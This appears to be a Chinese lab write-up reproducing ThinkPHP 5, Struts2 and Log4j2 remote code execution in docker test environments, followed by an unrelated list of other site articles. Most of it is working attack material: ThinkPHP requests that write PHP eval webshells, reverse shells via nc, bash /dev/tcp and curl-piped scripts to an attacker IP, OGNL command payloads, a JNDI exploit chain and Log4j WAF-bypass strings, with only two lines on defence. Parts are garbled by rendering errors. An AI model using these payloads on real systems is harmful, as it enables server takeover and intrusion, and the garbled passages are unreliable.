热门框架漏洞

文章目录

  • 一、Thinkphp5.0.23 代码执行
    • 1.thinkphp5框架
    • 2.thinkphp5高危漏洞
    • 3.漏洞特征
    • 4.THinkphp5.0 远程代码执行--poc
    • 5.TP5实验一(Windows5.0.20)
      • a.搭建实验环境
      • b.测试phpinfo
      • c.写入shell
      • d.使用菜刀连接
    • 6.TP5实验二(Linux5.0.23)
      • a.搭建实验环境
      • b.测试方法
      • c.测试phpinfo
      • d.写入shell
      • e.反弹shell
        • 方法一
        • 方法二
        • 方法三
    • 7.任务:靶场thinkphp漏洞复现
  • 二、Struts2远程代码执行
    • 1.漏洞介绍
    • 2.Struts2执行代码的原理
    • 3.Struts2框架特征
    • 4.S2-029漏洞复现(实验)
      • 2)启动漏洞环境
      • 3)访问http://192.168.25.174:8080/default.action
      • 4)利用方法
        • 方法一:工具利用
        • 方法二:手工利用
      • 5)复现任务
        • S2-61
        • S2-45
        • S2-46
  • 三、log4j2远程代码执行
    • 1.漏洞介绍
    • 2.LDAP和JNDI
    • 3.漏洞原理
    • 4.*log4j2-漏洞复现(实验)
      • 1)拉取docker环境
      • 2)启动环境-查看镜像
      • 3)启动并端口映射
      • 4)测试步骤
        • 1)正常来测试,发现这里主要对{}产生过滤。
        • 2)将payload进行url编码。
    • 5.4.log4j2-漏洞验证(实验)
      • 1)拉取docker环境
      • 2)启动环境-查看镜像
      • 3)启动并端口映射
      • 4)测试步骤
    • 5.log4j2-漏洞利用(实验)
      • 1)准备JNDI注入工具
      • 2)准备shell代码
      • 3)攻击机启动监听用于获取shell
      • 4)启动JNDI-Injection-Exploit
      • 5)传递payload
      • 6)JNDI接收请求
      • 7)反弹shell
      • 8)关于Exception in thread "Thread-1" java.lang.IllegalAccessError报错原因![在这里插入图片描述](https://img-blog.csdnimg.cn/47cf325ed28d44d48fe6eeb6e758b66e.png)![在这里插入图片描述](https://img-blog.csdnimg.cn/8c415f454fed458ea95a25530b855081.png)
    • 6.log4j漏洞防护
      • 1.升级最新版本的log4j组件
      • 2.临时处理,过滤${},避免被执行命令
    • 7.poc

一、Thinkphp5.0.23 代码执行

1.thinkphp5框架

在这里插入图片描述

2.thinkphp5高危漏洞

在这里插入图片描述

根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。
在这里插入图片描述

3.漏洞特征

在这里插入图片描述在这里插入图片描述

4.THinkphp5.0 远程代码执行–poc

Windows:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
POC参数解析
method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
filter[]=system 覆盖变量
get[]=whoami 覆盖变量
_method=__construct 为了能够进入construct,从而覆盖变量
在这里插入图片描述在这里插入图片描述

5.TP5实验一(Windows5.0.20)

a.搭建实验环境

_method=__construct&filter[]=system&method=get&get[]=whoami
在这里插入图片描述

b.测试phpinfo

利用system函数远程命令执行,通过phpinfo函数查看phpinfo()的信息;
写入phpinfo();
/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo “<?php phpinfo(); ?>” > 1.php
在这里插入图片描述

c.写入shell

查看是否成功的写入shell
/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
在这里插入图片描述

d.使用菜刀连接

在这里插入图片描述

6.TP5实验二(Linux5.0.23)

a.搭建实验环境

在这里插入图片描述

cd ~5-rce
docker-compose up -d拉取靶场

在这里插入图片描述在这里插入图片描述

b.测试方法

_method=__construct&filter[]=system&method=get&get[]=id
在这里插入图片描述

TP5的验证码在/vendor/topthink/think-captcha 目录下,文件分别是Captcha.php 、CaptchaController.php 和helper.php 三个文件。可以直接通过http://localhost/项目名称/public/index.php/captcha 来进行访问。

_method=__construct&filter[]=system&method=get&get[]=pwd
在这里插入图片描述

_method=__construct&filter[]=system&method=get&get[]=whoami
在这里插入图片描述

c.测试phpinfo

_method=__construct&filter[]=system&method=get&get[]=echo “<?php phpinfo(); ?>” > 1.php
在这里插入图片描述

Linux5.0.20测试方法
http://192.168.25.174:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`
在这里插入图片描述

d.写入shell

_method=__construct&filter[]=system&method=get&get[]=echo “<?php @eval($_POST["fname"]);?>” >shell.php
在这里插入图片描述

可以看出shell.php已经上传成功
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval( P O S T [ c m d ] ) ; ? > > s h e l l . p h p 发现 _POST[cmd]);?^> >shell.php 发现 POST[cmd]);?>>shell.php发现_POST被删除了,引号也没了
在这里插入图片描述

如下改动后解决问题
_method=__construct&filter[]=system&method=get&get[]=echo “<?php @eval(\$_POST['fname']);?>” >shell.php

在这里插入图片描述

e.反弹shell

方法一

控制端输入
nc -lvvp 6666
被控端输入
nc -c /bin/bash 192.168.25.174 6666
在这里插入图片描述

控制端得到shell,此处执行ls命令
在这里插入图片描述

方法二

攻击机开启2个终端
分别输入nc -lvvp 2333和nc -lvvp 3333,一个输入一个输出
被攻击机输入
nc 192.168.25.174 2333 | /bin/bash | nc 192.168.25.174 3333
然后nc -lvvp 2333里执行命令ls,可以看到nc -lvvp 3333收到返回结果
在这里插入图片描述

方法三

首先本机创建文件shell.sh,放到本机WWW根目录
在这里插入图片描述

bash -i >& /dev/tcp/192.168.33.2/1111 0>&1

cmd下开启两个终端
nc.exe -lvvp 2333 -e cmd.exe用于监听输入
在这里插入图片描述

nc -lvp 1111用于获取输出
然后网页里输入
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.33.2/shell.sh|bash
在这里插入图片描述

执行后即可在本机获取shell,此处是ls的查询结果
在这里插入图片描述

7.任务:靶场thinkphp漏洞复现

https://vulhub.org/#/environments/
在这里插入图片描述

tp5 poc参考大全
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

二、Struts2远程代码执行

1.漏洞介绍

Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。

2.Struts2执行代码的原理

Struts2的动态性在于ongl表达式可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞。
struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。

3.Struts2框架特征

查看被测应用系统的源码,URL接口地址以“.action”“.do”结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-2..**.jar或xwork-core-2..**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。

4.S2-029漏洞复现(实验)

原理:Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。
在Struts2中,如下的标签就调用了OGNL进行取值。

parameters:

Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。 影响版本:Struts 2.0.0 -2.3.24.1(不包括2.3.20.3) 复现步骤: ### 1)拉取漏洞环境镜像到本地 命令:docker pull medicean/vulapps:s_struts2_s2-029 ![在这里插入图片描述](https://img-blog.csdnimg.cn/5cfbd59c03c144528c96bc2c88fdb207.png)

2)启动漏洞环境

命令:docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029
在这里插入图片描述

3)访问http://192.168.25.174:8080/default.action

在这里插入图片描述

4)利用方法

方法一:工具利用

在这里插入图片描述在这里插入图片描述

LiqunKit_1.5.jar
在这里插入图片描述在这里插入图片描述反弹shell
在这里插入图片描述

方法二:手工利用

poc:
(%23_memberAccess[‘allowPrivateAccess’]=true,%23_memberAccess[‘allowProtectedAccess’]=true,%23_memberAccess[‘excludedPackageNamePatterns’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘excludedClasses’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘allowPackageProtectedAccess’]=true,%23_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream()))
注意:有些利用的时候要记得url编码
在这里插入图片描述

5)复现任务

S2-61

先切换到vulhub指定目录,记得清理占用
在这里插入图片描述

docker-compose up -d拉取镜像
在这里插入图片描述在这里插入图片描述在这里插入图片描述

使用dnslog进行请求,发现存在回显,说明存在漏洞
POC:%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“ping dnslog的域名”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}

在这里插入图片描述

需先将GET改成POST,然后在下面添加
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=“id”
和poc

POC:%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“id”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
在这里插入图片描述

S2-45

在这里插入图片描述

docker-compose up -d
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

下载路径/var/lib/docker/overlay2
在这里插入图片描述在这里插入图片描述

S2-46

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

三、log4j2远程代码执行

1.漏洞介绍

log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件。log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。
在这里插入图片描述

影响版本
Log4j2.x<=2.14.1

2.LDAP和JNDI

LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库
LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。客户端通过LDAP协议去访问服务器端。
所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}就相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,Exp是一个不存在的文件名
JNDI :JAVA NAMING AND Directory interface,Java命名和目录接口),则是Java中用于访问LDAP的API,是为了Java程序访问命名服务和目录服务而提供的统一API。

3.漏洞原理

我们在很多漏洞复现文章看到构造的payload是这样的 j n d i : l d a p : / / x x x . x x x . x x x . x x x : 1389 / E x p , 该漏洞是由于 A p a c h e L o g 4 j 2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 L o g 4 j 2 组件在处理程序日志记录时存在 J N D I 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 L o g 4 j 2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 L o g 4 j 2 漏洞总的来说就是:因为 L o g 4 j 2 默认支持解析 l d a p / r m i 协议(只要打印的日志中包括 l d a p / r m i 协议即可),并会通过名称从 l d a p 服务端其获取对应的 C l a s s 文件,并使用 C l a s s L o a d e r 在本地加载 L d a p 服务端返回的 C l a s s 类。 A p a c h e L o g 4 j 远程代码执行漏洞,正是由于组件存在 J a v a J N D I 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 A p a c h e L o g 4 j 2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。利用 j n d i 访问 l d a p 服务后, l d a p 服务返回了 c l a s s 攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了 L o g 4 j 2 可以对日志中的“ {jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}, 该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。 Apache Log4j 远程代码执行漏洞,正是由于组件存在Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。 利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。 远程代码执行漏洞,是利用了Log4j2可以对日志中的“ jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp,该漏洞是由于ApacheLog4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。ApacheLog4j远程代码执行漏洞,正是由于组件存在JavaJNDI注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发ApacheLog4j2中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了Log4j2可以对日志中的{}”进行解析执行,来进行攻击的。

4.*log4j2-漏洞复现(实验)

1)拉取docker环境

docker pull vulfocus/log4j2-rce-2021-12-09

2)启动环境-查看镜像

docker images
在这里插入图片描述

3)启动并端口映射

docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09

在这里插入图片描述

4)测试步骤

1)正常来测试,发现这里主要对{}产生过滤。

2)将payload进行url编码。

生成你自己的DNSlog并将生成的地址替换进payload=${jndi:ldap://DNSLog/exp},然后发生数据给靶机。
在这里插入图片描述

/hello?payload=${jndi:ldap://p5pok7.dnslog.cn/exp}显示400,即错误的请求。

在这里插入图片描述在这里插入图片描述在这里插入图片描述

回到DNSLog页面刷新Refresh Record 便能查询道靶机递归查询日志的记录。
Log4J2漏洞的危害便是能够远程执行代码,并且采用此框架件的厂商众多,造成的危害面广
在这里插入图片描述

5.4.log4j2-漏洞验证(实验)

1)拉取docker环境

docker pull vulfocus/log4j2-rce-2021-12-09

2)启动环境-查看镜像

docker images

3)启动并端口映射

docker run -tid -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
在这里插入图片描述在这里插入图片描述

点击链接后
在这里插入图片描述

4)测试步骤

1)正常来测试,发现这里主要对{}产生过滤。
2)将payload进行url编码。
生成你自己的DNSlog并将生成的地址替换进payload=${jndi:ldap://DNSLog/exp},然后发生数据给靶机。

需进行URL编码
在这里插入图片描述

http://192.168.25.174:8080/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2F42kopn.dnslog.cn%2Fexp%7D
执行后dnslog收到数据
在这里插入图片描述

Log4J2漏洞的危害便是能够远程执行代码,并且采用此框架件的厂商众多,造成的危害面广

5.log4j2-漏洞利用(实验)

利用JNDI注入工具在攻击机上开启JNDI服务器
攻击机IP:192.168.33.2
被攻击机IP:192.168.25.174

1)准备JNDI注入工具

git clone https://gitee.com/Lemon_i/JNDI-Injection-Exploit.git
在这里插入图片描述

2)准备shell代码

利用JNDI注入反弹shell,并将命令进行base64编码,不然可能会报错
bash -i >& /dev/tcp/攻击主机IP/端口 0>&1
在这里插入图片描述

3)攻击机启动监听用于获取shell

nc -lvp 1111
在这里插入图片描述

4)启动JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,base64编码后的shell}|{base64,-d}|{bash,-i}” -A 攻击主机IP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjIvMTExMSAwPiYx}|{base64,-d}|{bash,-i}” -A 192.168.33.2
注释:-C是执行的bash命令,后面是执行的具体命令,用双引号引起来-A 指服务器的IP
因为JDK版本的问题,我们选择的链接是rmi://192.168.33.2:1099/uimfib
注意:这个链接每次运行JNDI-Injection-Exploit 时都会变化
在这里插入图片描述

5)传递payload

打开浏览器,用get传递payload,payload=${jndi:rmi://192.168.33.2:1099/uimfib}
进行URL编码为payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.33.2%3A1099%2Fuimfib%7D
在这里插入图片描述在这里插入图片描述

6)JNDI接收请求

在这里插入图片描述

7)反弹shell

可以看出已经成功反弹shell
在这里插入图片描述

8)关于Exception in thread “Thread-1” java.lang.IllegalAccessError报错原因在这里插入图片描述在这里插入图片描述

原因是jdk版本太高

重装JDK1.8后得以解决问题
在这里插入图片描述在这里插入图片描述在这里插入图片描述

6.log4j漏洞防护

1.升级最新版本的log4j组件

2.临时处理,过滤${},避免被执行命令

7.poc

${jndi:ldap://xxx.dnslog.cn/poc}
waf绕过
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j} : : − n {::-n} ::n{::-d} : : − i : {::-i}: ::i:{::-r} : : − m {::-m} ::m{::-i}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j}ndi:rmi://xxx.dnslog.cn/poc}
${jndi:rmi://xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:jndi}😒{lower:rmi}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:KaTeX parse error: Expected 'EOF', got '}' at position 13: {lower:jndi}}̲:{lower:rmi}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j} l o w e r : n {lower:n} lower:n{lower:d}i:${lower:rmi}😕/xxx.dnslog.cn/poc}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/67999.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL 语句继续学习之记录三

一&#xff0c;数据的插入&#xff08;insert 语句的使用方法&#xff09; 使用insert语句可以向表中插入数据(行)。原则上&#xff0c;insert语句每次执行一行数据的插入。 列名和值用逗号隔开&#xff0c;分别扩在&#xff08;&#xff09;内&#xff0c;这种形式称为清单。…

如何使用Python和正则表达式处理XML表单数据

在日常的Web开发中&#xff0c;处理表单数据是一个常见的任务。而XML是一种常用的数据格式&#xff0c;用于在不同的系统之间传递和存储数据。本文通过阐述一个技术问题并给出解答的方式&#xff0c;介绍如何使用Python和正则表达式处理XML表单数据。我们将探讨整体设计、编写思…

VB6.0 设置窗体的默认焦点位置在 TextBox 中

文章目录 VB6.0 窗体的加载过程确定指针的焦点位置添加代码效果如下未设置指定焦点已设置焦点 VB6.0 窗体的加载过程 在VB6.0中&#xff0c;窗体&#xff08;Form&#xff09;加载时会触发多个事件&#xff0c;这些事件按照特定的顺序执行。下面是窗体加载过程中常见事件的执行…

基于ETLCloud的自定义规则调用第三方jar包实现繁体中文转为简体中文

背景 前面曾体验过通过零代码、可视化、拖拉拽的方式快速完成了从 MySQL 到 ClickHouse 的数据迁移&#xff0c;但是在实际生产环境&#xff0c;我们在迁移到目标库之前还需要做一些过滤和转换工作&#xff1b;比如&#xff0c;在诗词数据迁移后&#xff0c;发现原来 MySQL 中…

常见路由跳转的几种方式

常见的路由跳转有以下四种&#xff1a; 1. <router-link to"跳转路径"> /* 不带参数 */ <router-link :to"{name:home}"> <router-link :to"{path:/home}"> // 更建议用name // router-link链接中&#xff0c;带/ 表示从根…

elementUI可拖拉宽度抽屉

1&#xff0c;需求&#xff1a; 在elementUI的抽屉基础上&#xff0c;添加可拖动侧边栏宽度的功能&#xff0c;实现效果如下&#xff1a; 2&#xff0c;在原组件上添加自定义命令 <el-drawer v-drawerDrag"left" :visible.sync"drawerVisible" direc…

Unity 顶点vertices,uv,与图片贴图,与mesh

mesh就是组成3d物体的三角形们。 mesh由顶点组成的三角形组成&#xff0c;三角形的大小 并不 需要一样&#xff0c;由顶点之间的位置决定。 mesh可以是一个或者多个面。 贴图的原点在左下角&#xff0c;uv是贴图的坐标&#xff0c;数量和顶点数一样&#xff08;不是100%确定…

Vue3 el-tooltip 根据内容控制宽度大小换行和并且内容太短不显示

el-tooltip 根据长度自适应换行以及显隐 环境 vue: "3.2.37" element-ui: "2.1.8"要求 tooltip 根据内容自动换行如果内容超出显示省略号显示&#xff0c;不超出不显示 tooltip 代码 组件 // ContentTip 组件 <template><el-tooltipv-bind&qu…

【数学建模竞赛】超详细Matlab二维三维图形绘制

二维图像绘制 绘制曲线图 g 是表示绿色 b--o是表示蓝色/虚线/o标记 c*是表示蓝绿色(cyan)/*标记 ‘MakerIndices,1:5:length(y) 每五个点取点&#xff08;设置标记密度&#xff09; 特殊符号的输入 序号 需求 函数字符结构 示例 1 上角标 ^{ } title( $ a…

初识c++

文章目录 前言一、C命名空间1、命名空间2、命名空间定义 二、第一个c程序1、c的hello world2、std命名空间的使用惯例 三、C输入&输出1、c输入&输出 四、c中缺省参数1、缺省参数概念2、缺省参数分类3、缺省参数应用 五、c中函数重载1、函数重载概念2、函数重载应用 六、…

【⑰MySQL】 变量 | 循环 | 游标 | 处理程序

前言 ✨欢迎来到小K的MySQL专栏&#xff0c;本节将为大家带来MySQL变量 | 循环 | 游标 | 处理程序的分享✨ 目录 前言1. 变量1.1系统变量1.2 用户变量 2. 定义条件与处理程序2.1 案例分析2.2 定义条件2.3 定义处理程序2.4 案例解决 3. 流程控制3.1 分支结构3.2 循环结构3.3 跳转…

设计模式-9--迭代器模式(Iterator Pattern)

一、什么是迭代器模式 迭代器模式&#xff08;Iterator Pattern&#xff09;是一种行为型设计模式&#xff0c;用于提供一种统一的方式来访问一个聚合对象中的各个元素&#xff0c;而不需要暴露该聚合对象的内部结构。迭代器模式将遍历集合的责任从集合对象中分离出来&#xf…

【深入解析spring cloud gateway】07 自定义异常返回报文

Servlet的HttpResponse对象&#xff0c;返回响应报文&#xff0c;一般是这么写的&#xff0c;通过输出流直接就可以将返回报文输出。 OutputStream out response.getOutputStream(); out.write("输出的内容"); out.flush();在filter中如果发生异常&#xff08;例如…

Java中的网络编程------基于Socket的TCP编程和基于UDP的网络编程,netstat指令

Socket 在Java中&#xff0c;Socket是一种用于网络通信的编程接口&#xff0c;它允许不同计算机之间的程序进行数据交换和通信。Socket使得网络应用程序能够通过TCP或UDP协议在不同主机之间建立连接、发送数据和接收数据。以下是Socket的基本介绍&#xff1a; Socket类型&…

1775_树莓派3B键盘映射错误解决

全部学习汇总&#xff1a; GitHub - GreyZhang/little_bits_of_raspberry_pi: my hacking trip about raspberry pi. 入手树莓派3B之后用了没有多长时间&#xff0c;最初的这段时间感觉想让它代替我的PC机是不肯能的。性能先不说&#xff0c;我完全没有找到当初在我的笔记本上使…

css网格布局

css网格布局 常用属性 display: grid; //开启网格grid-template-columns: 2fr 1fr 1fr 1fr 1fr; //设置多少列每列宽度grid-gap: 10px; // 设置表格之间间距grid-template-rows: 50px 50px 50px 50px; // 设置多少行 每行的高度grid-column : 1 //占据位置 占据1格grid-colu…

机器人中的数值优化(九)——拟牛顿方法(下)、BB方法

本系列文章主要是我在学习《数值优化》过程中的一些笔记和相关思考&#xff0c;主要的学习资料是深蓝学院的课程《机器人中的数值优化》和高立编著的《数值最优化方法》等&#xff0c;本系列文章篇数较多&#xff0c;不定期更新&#xff0c;上半部分介绍无约束优化&#xff0c;…

某物联网数智化园区行业基于 KubeSphere 的云原生实践

公司简介 作为物联网 数智化园区一体化解决方案提供商&#xff0c;我们致力于为大中型园区、停车场提供软硬件平台&#xff0c;帮助园区运营者实现数字化、智能化运营。 在使用 K8s 之前我们使用传统的方式部署上线&#xff0c;使用 spug&#xff08;一款轻量级无 Agent 的自…

网络版五子棋C++实现

目录 1.项目介绍 2.开发环境 3.核心技术 4.环境搭建 5.WebSocketpp介绍 5.1WebSocketpp是什么 5.2为什么使用WebSocketpp 5.3原理解析&#xff1a; 5.4WebSocketpp主要特性 6.WebSocketpp使用 7.JsonCpp使用 8.MySQL API 9.项目模块设计以及流程图 10.封装日志宏…

NewStarCTF 2022 web方向题解 wp

----------WEEK1---------- BUU NewStarCTF 公开赛赛道 WEEK1 [NotPHP] 先看题目&#xff0c;要传参加绕过。 分析一下代码&#xff1a;首先get一个datadata://test/plain,Wel…。然后key1和2用数组可以绕过。num2077a可以绕过弱类型。eval()中的php语句被#注释了&#xff0c…